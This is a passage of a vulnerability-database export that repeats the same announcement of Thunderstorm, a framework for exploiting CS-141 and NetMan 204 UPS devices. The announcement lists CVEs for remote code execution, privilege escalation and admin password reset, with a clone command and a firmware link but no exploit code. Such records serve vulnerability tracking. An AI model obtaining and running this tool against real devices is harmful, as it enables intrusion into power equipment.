3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-04T16:00:04.623695Z"}, {"uuid": "d40ed200-1d07-4569-8563-ca5505da96ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47187", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-04T20:00:04.297496Z"}, {"uuid": "3af9c124-112d-4b2c-a420-37b49fdf2c0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47892", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-04T20:00:04.338142Z"}, {"uuid": "b0b18a2d-b324-4a70-899c-b721fab49857", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47192", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-04T20:00:04.404861Z"}, {"uuid": "76322449-8c9c-4bbf-803c-7dd6352b114a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47893", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-04T20:00:04.454828Z"}, {"uuid": "08b4fcb5-147f-4a19-9739-dbcb0be84bbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47186", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-04T20:00:04.500906Z"}, {"uuid": "9966cd78-ec2e-4fc4-a522-6e01640c50f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47190", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-04T20:00:04.554452Z"}, {"uuid": "07c75ed7-a469-4e3e-9fc6-d951e81378d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47189", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-04T20:00:04.603571Z"}, {"uuid": "eadb4381-e53b-44e3-b6d1-804b53d6358e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47188", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-04T20:00:05.120782Z"}, {"uuid": "9f0d0f07-cf38-4a8f-b531-61579b264bee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47188", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-04T20:00:04.652990Z"}, {"uuid": "b9309335-2689-4631-be1b-850731599fd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47191", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-04T20:00:04.703875Z"}, {"uuid": "52d70d05-4f2c-48b9-b967-c864f26a9aeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47891", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-04T20:00:04.746292Z"}, {"uuid": 